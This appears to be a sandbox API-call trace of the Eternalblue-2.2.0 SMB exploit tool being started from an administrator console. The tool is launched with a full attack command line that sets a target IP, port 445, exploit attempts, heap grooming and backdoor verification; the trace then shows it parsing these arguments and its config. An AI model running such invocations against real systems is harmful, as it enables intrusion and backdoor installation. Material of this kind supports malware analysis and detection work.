[0264.037] GetProcessHeap () returned 0x3b0000
[0264.037] RtlSizeHeap (HeapHandle=0x3b0000, Flags=0x0, MemoryPointer=0x3c8ae0) returned 0x78
[0264.037] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0x4a9e0640, nSize=0x2000 | out: lpBuffer="C:\\Windows\\system32;C:\\Windows;C:\\Windows\\System32\\Wbem;C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\") returned 0x63
[0264.037] NeedCurrentDirectoryForExePathW (ExeName=".") returned 1
[0264.037] GetProcessHeap () returned 0x3b0000
[0264.037] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x8, Size=0x120) returned 0x3c8b60
[0264.038] GetProcessHeap () returned 0x3b0000
[0264.038] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x8, Size=0x238) returned 0x3c8c88
[0264.038] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3
[0264.038] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Eternalblue-2.2.0", fInfoLevelId=0x1, lpFindFileData=0x28e91c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x28e91c) returned 0xffffffff
[0264.039] GetLastError () returned 0x2
[0264.039] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Eternalblue-2.2.0.*", fInfoLevelId=0x1, lpFindFileData=0x28e8fc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x28e8fc) returned 0x3c8e38
[0264.039] FindClose (in: hFindFile=0x3c8e38 | out: hFindFile=0x3c8e38) returned 1
[0264.039] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Eternalblue-2.2.0.COM", fInfoLevelId=0x1, lpFindFileData=0x28e8fc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x28e8fc) returned 0xffffffff
[0264.039] GetLastError () returned 0x2
[0264.040] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Eternalblue-2.2.0.EXE", fInfoLevelId=0x1, lpFindFileData=0x28e8fc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x28e8fc) returned 0x3c8e38
[0264.040] FindClose (in: hFindFile=0x3c8e38 | out: hFindFile=0x3c8e38) returned 1
[0264.040] _wcsicmp (_String1=".EXE", _String2=".BAT") returned 3
[0264.040] _wcsicmp (_String1=".EXE", _String2=".CMD") returned 2
[0264.040] GetConsoleTitleW (in: lpConsoleTitle=0x28edf4, nSize=0x104 | out: lpConsoleTitle="Administrator: exploit_Nasa") returned 0x1c
[0264.040] InitializeProcThreadAttributeList (in: lpAttributeList=0x28ec7c, dwAttributeCount=0x1, dwFlags=0x0, lpSize=0x28ed44 | out: lpAttributeList=0x28ec7c, lpSize=0x28ed44) returned 1
[0264.040] UpdateProcThreadAttribute (in: lpAttributeList=0x28ec7c, dwFlags=0x0, Attribute=0x60001, lpValue=0x28ed3c, cbSize=0x4, lpPreviousValue=0x0, lpReturnSize=0x0 | out: lpAttributeList=0x28ec7c, lpPreviousValue=0x0) returned 1
[0264.040] GetStartupInfoW (in: lpStartupInfo=0x28ec38 | out: lpStartupInfo=0x28ec38*(cb=0x44, lpReserved="", lpDesktop="WinSta0\\Default", lpTitle="C:\\Windows\\system32\\cmd.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x1, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0))
[0264.040] lstrcmpW (lpString1="\\Eternalblue-2.2.0.exe", lpString2="\\XCOPY.EXE") returned -1
[0264.041] CreateProcessW (in: lpApplicationName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Eternalblue-2.2.0.exe", lpCommandLine="Eternalblue-2.2.0 --TargetIp 192.168.0.155 --DaveProxyPort=0 --NetworkTimeout 60 --TargetPort 445 --VerifyTarget True --VerifyBackdoor True --MaxExploitAttempts 3 --GroomAllocations 12 --OutConfig Eternalblue-2.2.0.log", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=1, dwCreationFlags=0x80000, lpEnvironment=0x0, lpCurrentDirectory="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpStartupInfo=0x28ecd8*(cb=0x48, lpReserved=0x0, lpDesktop="WinSta0\\Default", lpTitle="Eternalblue-2.2.0 --TargetIp 192.168.0.155 --DaveProxyPort=0 --NetworkTimeout 60 --TargetPort 445 --VerifyTarget True --VerifyBackdoor True --MaxExploitAttempts 3 --GroomAllocations 12 --OutConfig Eternalblue-2.2.0.log", dwX=0x0, dwY=0x1, dwXSize=0x64, dwYSize=0x64, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x1, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x28ed24 | out: lpCommandLine="Eternalblue-2.2.0 --TargetIp 192.168.0.155 --DaveProxyPort=0 --NetworkTimeout 60 --TargetPort 445 --VerifyTarget True --VerifyBackdoor True --MaxExploitAttempts 3 --GroomAllocations 12 --OutConfig Eternalblue-2.2.0.log", lpProcessInformation=0x28ed24*(hProcess=0x78, hThread=0x74, dwProcessId=0x494, dwThreadId=0xf94)) returned 1
[0264.051] CloseHandle (hObject=0x74) returned 1
[0264.051] SetEnvironmentVariableW (lpName="COPYCMD", lpValue=0x0) returned 1
[0264.051] GetProcessHeap () returned 0x3b0000
[0264.051] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0x3cad20 | out: hHeap=0x3b0000) returned 1
[0264.051] GetEnvironmentStringsW () returned 0x3ca1a8*
[0264.051] GetProcessHeap () returned 0x3b0000
[0264.051] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x8, Size=0xb6a) returned 0x3cad20
[0264.051] FreeEnvironmentStringsW (penv=0x3ca1a8) returned 1
[0264.051] WaitForSingleObject (hHandle=0x78, dwMilliseconds=0xffffffff)
Process:
id = "6"
image_name = "eternalblue-2.2.0.exe"
filename = "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\eternalblue-2.2.0.exe"
page_root = "0x70f85000"
os_pid = "0xfa4"
os_integrity_level = "0x3000"
os_privileges = "0x60800000"
monitor_reason = "child_process"
parent_id = "5"
os_parent_pid = "0xf88"
cmd_line = "Eternalblue-2.2.0 --TargetIp 192.168.0.154 --DaveProxyPort=0 --NetworkTimeout 60 --TargetPort 445 --VerifyTarget True --VerifyBackdoor True --MaxExploitAttempts 3 --GroomAllocations 12 --OutConfig Eternalblue-2.2.0.log"
cur_dir = "C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\"
os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz"
bitness = "32"
os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000eb41" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7]
Thread:
id = 274
os_tid = 0xfa8
[0236.091] malloc (_Size=0x80) returned 0x381010
[0236.091] GetVersion () returned 0x1db10106
[0236.091] malloc (_Size=0x80) returned 0x381098
[0236.092] malloc (_Size=0x80) returned 0x381120
[0236.093] malloc (_Size=0x18) returned 0x3811a8
[0236.093] malloc (_Size=0x4) returned 0x3811c8
[0236.093] CreateMutexA (lpMutexAttributes=0x0, bInitialOwner=0, lpName=0x0) returned 0x38
[0236.094] GetCurrentThreadId () returned 0xfa8
[0236.094] GetCurrentThreadId () returned 0xfa8
[0236.094] GetCurrentThreadId () returned 0xfa8
[0236.094] malloc (_Size=0x4) returned 0x3811d8
[0236.094] CreateMutexA (lpMutexAttributes=0x0, bInitialOwner=0, lpName=0x0) returned 0x3c
[0236.222] getenv (_VarName="XML_MEM_BREAKPOINT") returned 0x0
[0236.224] getenv (_VarName="XML_MEM_TRACE") returned 0x0
[0236.224] malloc (_Size=0xc8) returned 0x3811e8
[0236.226] malloc (_Size=0x6) returned 0x3812b8
[0236.226] malloc (_Size=0xc) returned 0x3812c8
[0236.226] malloc (_Size=0x9) returned 0x3812e0
[0236.226] malloc (_Size=0xc) returned 0x3812f8
[0236.227] malloc (_Size=0x9) returned 0x381310
[0236.227] malloc (_Size=0xc) returned 0x381328
[0236.227] malloc (_Size=0x7) returned 0x381340
[0236.227] malloc (_Size=0xc) returned 0x381350
[0236.228] malloc (_Size=0xb) returned 0x381368
[0236.228] malloc (_Size=0xc) returned 0x381380
[0236.228] malloc (_Size=0x6) returned 0x381398
[0236.228] malloc (_Size=0xc) returned 0x3813a8
[0236.229] malloc (_Size=0x9) returned 0x3813c0
[0236.229] malloc (_Size=0xc) returned 0x3813d8
[0236.229] malloc (_Size=0x5) returned 0x3813f0
[0236.229] malloc (_Size=0xc) returned 0x381400
[0236.230] GetCurrentThreadId () returned 0xfa8
[0236.231] GetVersionExA (in: lpVersionInformation=0x140f454*(dwOSVersionInfoSize=0x94, dwMajorVersion=0x3811e0, dwMinorVersion=0x140f62c, dwBuildNumber=0xc8, dwPlatformId=0x77c6e026, szCSDVersion="Ð\x078") | out: lpVersionInformation=0x140f454*(dwOSVersionInfoSize=0x94, dwMajorVersion=0x6, dwMinorVersion=0x1, dwBuildNumber=0x1db1, dwPlatformId=0x2, szCSDVersion="Service Pack 1")) returned 1
[0236.232] GetCurrentThreadId () returned 0xfa8
[0236.233] malloc (_Size=0x4) returned 0x381418
[0236.233] CreateMutexA (lpMutexAttributes=0x0, bInitialOwner=0, lpName=0x0) returned 0x40
[0236.234] malloc (_Size=0x80) returned 0x382500
[0236.236] malloc (_Size=0x80) returned 0x382588
[0236.236] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x140f54c | out: lpSystemTimeAsFileTime=0x140f54c*(dwLowDateTime=0x65db9e20, dwHighDateTime=0x1d6a96f))
[0236.236] GetCurrentProcessId () returned 0xfa4
[0236.236] GetCurrentThreadId () returned 0xfa8
[0236.236] GetTickCount () returned 0x116c5b0
[0236.236] QueryPerformanceCounter (in: lpPerformanceCount=0x140f544 | out: lpPerformanceCount=0x140f544*=35537208945) returned 1
[0236.236] malloc (_Size=0x80) returned 0x382610
[0236.237] malloc (_Size=0x80) returned 0x382698
[0236.237] GetVersion () returned 0x1db10106
[0236.238] malloc (_Size=0x80) returned 0x382720
[0236.238] malloc (_Size=0x80) returned 0x3827a8
[0236.240] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x140fabc | out: lpSystemTimeAsFileTime=0x140fabc*(dwLowDateTime=0x65ddff80, dwHighDateTime=0x1d6a96f))
[0236.240] GetCurrentProcessId () returned 0xfa4
[0236.240] GetCurrentThreadId () returned 0xfa8
[0236.240] GetTickCount () returned 0x116c5c0
[0236.240] QueryPerformanceCounter (in: lpPerformanceCount=0x140fab4 | out: lpPerformanceCount=0x140fab4*=35537598213) returned 1
[0236.240] GetModuleHandleA (lpModuleName=0x0) returned 0xa40000
[0236.240] __set_app_type (_Type=0x1)
[0236.240] __p__fmode () returned 0x770331f4
[0236.240] __p__commode () returned 0x770331fc
[0236.241] GetVersion () returned 0x1db10106
[0236.241] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0xa564d1) returned 0x0
[0236.242] __getmainargs (in: _Argc=0xa60c74, _Argv=0xa60c7c, _Env=0xa60c78, _DoWildCard=0, _StartInfo=0xa60c88 | out: _Argc=0xa60c74, _Argv=0xa60c7c, _Env=0xa60c78) returned 0
[0236.242] calloc (_Count=0x1, _Size=0x10) returned 0x382bf0
[0236.243] WSAStartup (in: wVersionRequired=0x202, lpWSAData=0x140f864 | out: lpWSAData=0x140f864) returned 0
[0236.509] strlen (_Str="Eternalblue-2.2.0") returned 0x11
[0236.509] calloc (_Count=0x12, _Size=0x1) returned 0x382c08
[0236.509] strlen (_Str="Eternalblue-2.2.0") returned 0x11
[0236.510] strlen (_Str=".exe") returned 0x4
[0236.510] strlen (_Str="Eternalblue-2.2.0") returned 0x11
[0236.510] calloc (_Count=0x16, _Size=0x1) returned 0x382c28
[0236.510] strncpy (in: _Dest=0x382c28, _Source="Eternalblue-2.2.0", _Count=0x11 | out: _Dest="Eternalblue-2.2.0") returned="Eternalblue-2.2.0"
[0236.510] _mbscat (in: param_1=0x382c28, param_2=0x7561320c | out: param_1=0x382c28) returned 0x382c28
[0236.511] calloc (_Count=0x1, _Size=0x24) returned 0x382c48
[0236.511] strlen (_Str="Eternalblue-2.2.0") returned 0x11
[0236.511] calloc (_Count=0x12, _Size=0x1) returned 0x382c78
[0236.511] _mbscpy (in: param_1=0x382c78, param_2=0x382c08 | out: param_1=0x382c78) returned 0x382c78
[0236.511] strlen (_Str="") returned 0x0
[0236.511] calloc (_Count=0x1, _Size=0x1) returned 0x382c98
[0236.511] _mbscpy (in: param_1=0x382c98, param_2=0x75613208 | out: param_1=0x382c98) returned 0x382c98
[0236.511] strlen (_Str="urn:trch") returned 0x8
[0236.511] calloc (_Count=0x9, _Size=0x1) returned 0x382ca8
[0236.512] _mbscpy (in: param_1=0x382ca8, param_2=0x7564c190 | out: param_1=0x382ca8) returned 0x382ca8
[0236.512] strcmp (_Str1="urn:trch", _Str2="urn:trch") returned 0
[0236.512] strlen (_Str="2.1.0") returned 0x5
[0236.512] calloc (_Count=0x6, _Size=0x1) returned 0x382cc0
[0236.512] _mbscpy (in: param_1=0x382cc0, param_2=0x7564c4a0 | out: param_1=0x382cc0) returned 0x382cc0
[0236.512] calloc (_Count=0x1, _Size=0x1c) returned 0x382cd0
[0236.512] strlen (_Str="inputparameters") returned 0xf
[0236.512] calloc (_Count=0x10, _Size=0x1) returned 0x382cf8
[0236.512] _mbscpy (in: param_1=0x382cf8, param_2=0x756131f8 | out: param_1=0x382cf8) returned 0x382cf8
[0236.512] strlen (_Str="urn:trch") returned 0x8
[0236.513] calloc (_Count=0x9, _Size=0x1) returned 0x382d10
[0236.513] _mbscpy (in: param_1=0x382d10, param_2=0x7564c190 | out: param_1=0x382d10) returned 0x382d10
[0236.513] strcmp (_Str1="urn:trch", _Str2="urn:trch") returned 0
[0236.513] strlen (_Str="2.1.0") returned 0x5
[0236.513] calloc (_Count=0x6, _Size=0x1) returned 0x382d28
[0236.513] _mbscpy (in: param_1=0x382d28, param_2=0x7564c4a0 | out: param_1=0x382d28) returned 0x382d28
[0236.513] calloc (_Count=0x1, _Size=0x4) returned 0x382d38
[0236.513] calloc (_Count=0x1, _Size=0x4) returned 0x382d48
[0236.514] calloc (_Count=0x1, _Size=0x48) returned 0x382d58
[0236.514] strlen (_Str="InConfig") returned 0x8
[0236.514] calloc (_Count=0x9, _Size=0x1) returned 0x382da8
[0236.514] _mbscpy (in: param_1=0x382da8, param_2=0x756131d0 | out: param_1=0x382da8) returned 0x382da8
[0236.514] strlen (_Str="Location of input XML file") returned 0x1a
[0236.514] calloc (_Count=0x1b, _Size=0x1) returned 0x38d628
[0236.516] _mbscpy (in: param_1=0x38d628, param_2=0x756131dc | out: param_1=0x38d628) returned 0x38d628
[0236.516] strlen (_Str="LocalFile") returned 0x9
[0236.516] calloc (_Count=0xa, _Size=0x1) returned 0x38d650
[0236.516] _mbscpy (in: param_1=0x38d650, param_2=0x7564c208 | out: param_1=0x38d650) returned 0x38d650
[0236.516] strlen (_Str="Scalar") returned 0x6
[0236.516] calloc (_Count=0x7, _Size=0x1) returned 0x38d668
[0236.516] _mbscpy (in: param_1=0x38d668, param_2=0x7564c3f8 | out: param_1=0x38d668) returned 0x38d668
[0236.516] strlen (_Str="urn:trch") returned 0x8
[0236.516] calloc (_Count=0x9, _Size=0x1) returned 0x38d690
[0236.516] _mbscpy (in: param_1=0x38d690, param_2=0x7564c190 | out: param_1=0x38d690) returned 0x38d690
[0236.516] strcmp (_Str1="urn:trch", _Str2="urn:trch") returned 0
[0236.516] strlen (_Str="2.1.0") returned 0x5
[0236.516] calloc (_Count=0x6, _Size=0x1) returned 0x38de78
[0236.516] _mbscpy (in: param_1=0x38de78, param_2=0x7564c4a0 | out: param_1=0x38de78) returned 0x38de78
[0236.518] calloc (_Count=0x1, _Size=0x10) returned 0x38d6a8
[0236.518] strlen (_Str="Eternalblue-2.2.0.xml") returned 0x15
[0236.518] calloc (_Count=0x16, _Size=0x1) returned 0x38de88
[0236.518] _mbscpy (in: param_1=0x38de88, param_2=0x382c28 | out: param_1=0x38de88) returned 0x38de88
[0236.520] strlen (_Str="Eternalblue-2.2.0.xml") returned 0x15
[0236.520] calloc (_Count=0x16, _Size=0x1) returned 0x38dea8
[0236.520] _mbscpy (in: param_1=0x38dea8, param_2=0x382c28 | out: param_1=0x38dea8) returned 0x38dea8
[0236.520] strlen (_Str="Eternalblue-2.2.0.xml") returned 0x15
[0236.520] free (_Block=0x0)
[0236.521] _access (_FileName="Eternalblue-2.2.0.xml", _AccessMode=0) returned 0
[0236.521] free (_Block=0x382c28)
[0236.521] realloc (_Block=0x382d38, _Size=0x8) returned 0x382d38
[0236.521] strcmp (_Str1="--TargetIp", _Str2="--") returned 1
[0236.521] strlen (_Str="--TargetIp") returned 0xa
[0236.521] strncmp (_Str1="--", _Str2="--", _MaxCount=0x2) returned 0
[0236.522] strlen (_Str="--TargetIp") returned 0xa
[0236.522] strcmp (_Str1="192.168.0.154", _Str2="--") returned 1
[0236.522] strlen (_Str="192.168.0.154") returned 0xd
[0236.522] strncmp (_Str1="19", _Str2="--", _MaxCount=0x2) returned 4
[0236.522] strcmp (_Str1="--DaveProxyPort=0", _Str2="--") returned 1
[0236.522] strlen (_Str="--DaveProxyPort=0") returned 0x11
[0236.522] strncmp (_Str1="--", _Str2="--", _MaxCount=0x2) returned 0
[0236.522] strlen (_Str="--DaveProxyPort=0") returned 0x11
[0236.522] strcmp (_Str1="--NetworkTimeout", _Str2="--") returned 1
[0236.522] strlen (_Str="--NetworkTimeout") returned 0x10
[0236.522] strncmp (_Str1="--", _Str2="--", _MaxCount=0x2) returned 0
[0236.522] strlen (_Str="--NetworkTimeout") returned 0x10
[0236.522] strcmp (_Str1="60", _Str2="--") returned 1
[0236.522] strlen (_Str="60") returned 0x2
[0236.522] strcmp (_Str1="--TargetPort", _Str2="--") returned 1
[0236.522] strlen (_Str="--TargetPort") returned 0xc
[0236.522] strncmp (_Str1="--", _Str2="--", _MaxCount=0x2) returned 0
[0236.522] strlen (_Str="--TargetPort") returned 0xc
[0236.523] strcmp (_Str1="445", _Str2="--") returned 1
[0236.523] strlen (_Str="445") returned 0x3
[0236.523] strcmp (_Str1="--VerifyTarget", _Str2="--") returned 1
[0236.523] strlen (_Str="--VerifyTarget") returned 0xe
[0236.523] strncmp (_Str1="--", _Str2="--", _MaxCount=0x2) returned 0
[0236.523] strlen (_Str="--VerifyTarget") returned 0xe
[0236.523] strcmp (_Str1="True", _Str2="--") returned 1
[0236.523] strlen (_Str="True") returned 0x4
[0236.523] strncmp (_Str1="Tr", _Str2="--", _MaxCount=0x2) returned 39
[0236.523] strcmp (_Str1="--VerifyBackdoor", _Str2="--") returned 1
[0236.523] strlen (_Str="--VerifyBackdoor") returned 0x10
[0236.523] strncmp (_Str1="--", _Str2="--", _MaxCount=0x2) returned 0
[0236.523] strlen (_Str="--VerifyBackdoor") returned 0x10
[0236.523] strcmp (_Str1="True", _Str2="--") returned 1
[0236.523] strlen (_Str="True") returned 0x4
[0236.523] strncmp (_Str1="Tr", _Str2="--", _MaxCount=0x2) returned 39
[0236.523] strcmp (_Str1="--MaxExploitAttempts", _Str2="--") returned 1
[0236.523] strlen (_Str="--MaxExploitAttempts") returned 0x14
[0236.523] strncmp (_Str1="--", _Str2="--", _MaxCount=0x2) returned 0
[0236.523] strlen (_Str="--MaxExploitAttempts") returned 0x14
[0236.524] strcmp (_Str1="3", _Str2="--") returned 1
[0236.524] strlen (_Str="3") returned 0x1
[0236.524] strcmp (_Str1="--GroomAllocations", _Str2="--") returned 1
[0236.524] strlen (_Str="--GroomAllocations") returned 0x12
[0236.524] strncmp (_Str1="--", _Str2="--", _MaxCount=0x2) returned 0
[0236.524] strlen (_Str="--GroomAllocations") returned 0x12
[0236.524] strcmp (_Str1="12", _Str2="--") returned 1
[0236.524] strlen (_Str="12") returned 0x2
[0236.524] strcmp (_Str1="--OutConfig", _Str2="--") returned 1
[0236.524] strlen (_Str="--OutConfig") returned 0xb
[0236.524] strncmp (_Str1="--", _Str2="--", _MaxCount=0x2) returned 0
[0236.524] strlen (_Str="--OutConfig") returned 0xb
[0236.524] strcmp (_Str1="Eternalblue-2.2.0.log", _Str2="--") returned 1
[0236.524] strlen (_Str="Eternalblue-2.2.0.log") returned 0x15
[0236.524] strncmp (_Str1="Et", _Str2="--", _MaxCount=0x2) returned 24
[0236.524] strcmp (_Str1="--TargetIp", _Str2="--") returned 1
[0236.524] strlen (_Str="--TargetIp") returned 0xa
[0236.525] strncmp (_Str1="--", _Str2="--", _MaxCount=0x2) returned 0
[0236.525] strcmp (_Str1="--TargetIp", _Str2="-?") returned -1
[0236.525] strlen (_Str="--TargetIp") returned 0xa
[0236.525] strcmp (_Str1="192.168.0.154", _Str2="--") returned 1
[0236.525] strlen (_Str="192.168.0.154") returned 0xd
[0236.525] strncmp (_Str1="19", _Str2="--", _MaxCount=0x2) returned 4
[0236.525] strcmp (_Str1="--DaveProxyPort=0", _Str2="--") returned 1
[0236.525] strlen (_Str="--DaveProxyPort=0") returned 0x11
[0236.525] strncmp (_Str1="--", _Str2="--", _MaxCount=0x2) returned 0
[0236.526] strcmp (_Str1="--DaveProxyPort=0", _Str2="-?") returned -1
[0236.526] strlen (_Str="--DaveProxyPort=0") returned 0x11
[0236.526] strcmp (_Str1="--NetworkTimeout", _Str2="--") returned 1
[0236.526] strlen (_Str="--NetworkTimeout") returned 0x10
[0236.526] strncmp (_Str1="--", _Str2="--", _MaxCount=0x2) returned 0
[0236.526] strcmp (_Str1="--NetworkTimeout", _Str2="-?") returned -1
[0236.526] strlen (_Str="--NetworkTimeout") returned 0x10
[0236.526] strcmp (_Str1="60", _Str2="--") returned 1
[0236.526] strlen (_Str="60") returned 0x2
[0236.527] strcmp (_Str1="--TargetPort", _Str2="--") returned 1
[0236.527] strlen (_Str="--TargetPort") returned 0xc
[0236.527] strncmp (_Str1="--", _Str2="--", _MaxCount=0x2) returned 0
[0236.527] strcmp (_Str1="--TargetPort", _Str2="-?") returned -1
[0236.527] strlen (_Str="--TargetPort") returned 0xc
[0236.527] strcmp (_Str1="445", _Str2="--") returned 1
[0236.527] strlen (_Str="445") returned 0x3
[0236.527] strcmp (_Str1="--VerifyTarget", _Str2="--") returned 1
[0236.527] strlen (_Str="--VerifyTarget") returned 0xe
[0236.527] strncmp (_Str1="--", _Str2="--", _MaxCount=0x2) returned 0
[0236.528] strcmp (_Str1="--VerifyTarget", _Str2="-?") returned -1
[0236.528] strlen (_Str="--VerifyTarget") returned 0xe
[0236.528] strcmp (_Str1="True", _Str2="--") returned 1
[0236.528] strlen (_Str="True") returned 0x4
[0236.528] strncmp (_Str1="Tr", _Str2="--", _MaxCount=0x2) returned 39
[0236.528] strcmp (_Str1="--VerifyBackdoor", _Str2="--") returned 1
[0236.528] strlen (_Str="--VerifyBackdoor") returned 0x10
[0236.528] strncmp (_Str1="--", _Str2="--", _MaxCount=0x2) returned 0
[0236.528] strcmp (_Str1="--VerifyBackdoor", _Str2="-?") returned -1
[0236.528] strlen (_Str="--VerifyBackdoor") returned 0x10
[0236.529] strcmp (_Str1="True", _Str2="--") returned 1
[0236.529] strlen (_Str="True") returned 0x4
[0236.529] strncmp (_Str1="Tr", _Str2="--", _MaxCount=0x2) returned 39
[0236.529] strcmp (_Str1="--MaxExploitAttempts", _Str2="--") returned 1
[0236.529] strlen (_Str="--MaxExploitAttempts") returned 0x14
[0236.529] strncmp (_Str1="--", _Str2="--", _MaxCount=0x2) returned 0
[0236.529] strcmp (_Str1="--MaxExploitAttempts", _Str2="-?") returned -1
[0236.529] strlen (_Str="--MaxExploitAttempts") returned 0x14
[0236.529] strcmp (_Str1="3", _Str2="--") returned 1
[0236.529] strlen (_Str="3") returned 0x1
[0236.529] strcmp (_Str1="--GroomAllocations", _Str2="--") returned 1
[0236.530] strlen (_Str="--GroomAllocations") returned 0x12
[0236.530] strncmp (_Str1="--", _Str2="--", _MaxCount=0x2) returned 0
[0236.530] strcmp (_Str1="--GroomAllocations", _Str2="-?") returned -1
[0236.530] strlen (_Str="--GroomAllocations") returned 0x12
[0236.530] strcmp (_Str1="12", _Str2="--") returned 1
[0236.530] strlen (_Str="12") returned 0x2
[0236.530] strcmp (_Str1="--OutConfig", _Str2="--") returned 1
[0236.530] strlen (_Str="--OutConfig") returned 0xb
[0236.530] strncmp (_Str1="--", _Str2="--", _MaxCount=0x2) returned 0
[0236.531] strcmp (_Str1="--OutConfig", _Str2="-?") returned -1
[0236.531] strlen (_Str="--OutConfig") returned 0xb
[0236.531] strcmp (_Str1="Eternalblue-2.2.0.log", _Str2="--") returned 1
[0236.531] strlen (_Str="Eternalblue-2.2.0.log") returned 0x15
[0236.531] strncmp (_Str1="Et", _Str2="--", _MaxCount=0x2) returned 24
[0236.532] strlen (_Str="Eternalblue-2.2.0.xml") returned 0x15
[0236.532] calloc (_Count=0x16, _Size=0x1) returned 0x382c28
[0236.532] free (_Block=0x382c78)
[0236.533] free (_Block=0x0)
[0236.533] free (_Block=0x0)
[0236.533] free (_Block=0x382c98)
[0236.533] free (_Block=0x382ca8)
[0236.533] free (_Block=0x382cc0)
[0236.533] free (_Block=0x382d10)
[0236.533] free (_Block=0x382d28)
[0236.533] free (_Block=0x382cf8)
[0236.533] free (_Block=0x38dea8)
[0236.533] free (_Block=0x38d6a8)
[0236.533] free (_Block=0x38d690)
[0236.533] free (_Block=0x38de78)
[0236.533] free (_Block=0x382da8)
[0236.533] free (_Block=0x38d628)
[0236.533] free (_Block=0x38de88)
[0236.533] free (_Block=0x38d650)
[0236.533] free (_Block=0x38d668)
[0236.533] free (_Block=0x0)
[0236.533] free (_Block=0x0)
[0236.534] free (_Block=0x382d58)
[0236.534] free (_Block=0x382d38)
[0236.534] free (_Block=0x382d48)
[0236.534] free (_Block=0x382cd0)
[0236.534] free (_Block=0x0)
[0236.534] free (_Block=0x0)
[0236.534] free (_Block=0x382c48)
[0236.534] strcmp (_Str1="Eternalblue-2.2.0.xml", _Str2="stdout") returned -1
[0236.583] _open (_FileName="Eternalblue-2.2.0.xml" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\eternalblue-2.2.0.xml"), _OpenFlag=32768) returned 3
[0236.583] _fstat (_FileHandle=3, _Stat=0x140f9c0) returned 0
[0236.708] calloc (_Count=0x1de2, _Size=0x1) returned 0x38de78
[0236.708] _read (in: _FileHandle=3, _DstBuf=0x38de78, _MaxCharCount=0x1de1 | out: _DstBuf=0x38de78*) returned 7649
[0236.710] strcmp (_Str1="Eternalblue-2.2.0.xml", _Str2="stdout") returned -1
[0236.710] _close (_FileHandle=3) returned 0
[0236.711] WaitForSingleObject (hHandle=0x40, dwMilliseconds=0xffffffff) returned 0x0
[0236.711] strlen (_Str="\n\n \n \n 0\n \n \n 60\n \n \n \n 445\n \n \n true\n \n \n true\n \n \n 3\n \n \n 12\n \n \n \n WIN72K8R2\n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n\n") returned 0x1de1
[0236.712] malloc (_Size=0x1d0) returned 0x38fc68
[0236.712] GetCurrentThreadId () returned 0xfa8
[0236.713] malloc (_Size=0x1c) returned 0x38d648
[0236.713] malloc (_Size=0x18) returned 0x382c48
[0236.713] malloc (_Size=0xa00) returned 0x270048
[0236.713] malloc (_Size=0x80) returned 0x382c68
[0236.713] malloc (_Size=0x14) returned 0x382cf0
[0236.714] malloc (_Size=0x28) returned 0x382d10
[0236.714] malloc (_Size=0x28) returned 0x382d40
[0236.714] malloc (_Size=0x28) returned 0x382d70
[0236.714] GetCurrentThreadId () returned 0xfa8
[0236.714] GetCurrentThreadId () returned 0xfa8
[0236.714] GetCurrentThreadId () returned 0xfa8
[0236.714] GetCurrentThreadId () returned 0xfa8
[0236.714] GetCurrentThreadId () returned 0xfa8
[0236.714] GetCurrentThreadId () returned 0xfa8
[0236.714] malloc (_Size=0x24) returned 0x38fe40
[0236.714] GetCurrentThreadId () returned 0xfa8
[0236.715] malloc (_Size=0x14) returned 0x382da0
[0236.715] GetCurrentThreadId () returned 0xfa8
[0236.715] malloc (_Size=0x2002) returned 0x270a50
[0236.715] malloc (_Size=0x3c) returned 0x38fe70
[0236.715] malloc (_Size=0x400) returned 0x272a60
[0236.716] malloc (_Size=0x14) returned 0x38feb8
[0236.716] GetCurrentThreadId () returned 0xfa8
[0236.718] malloc (_Size=0xa) returned 0x38d690
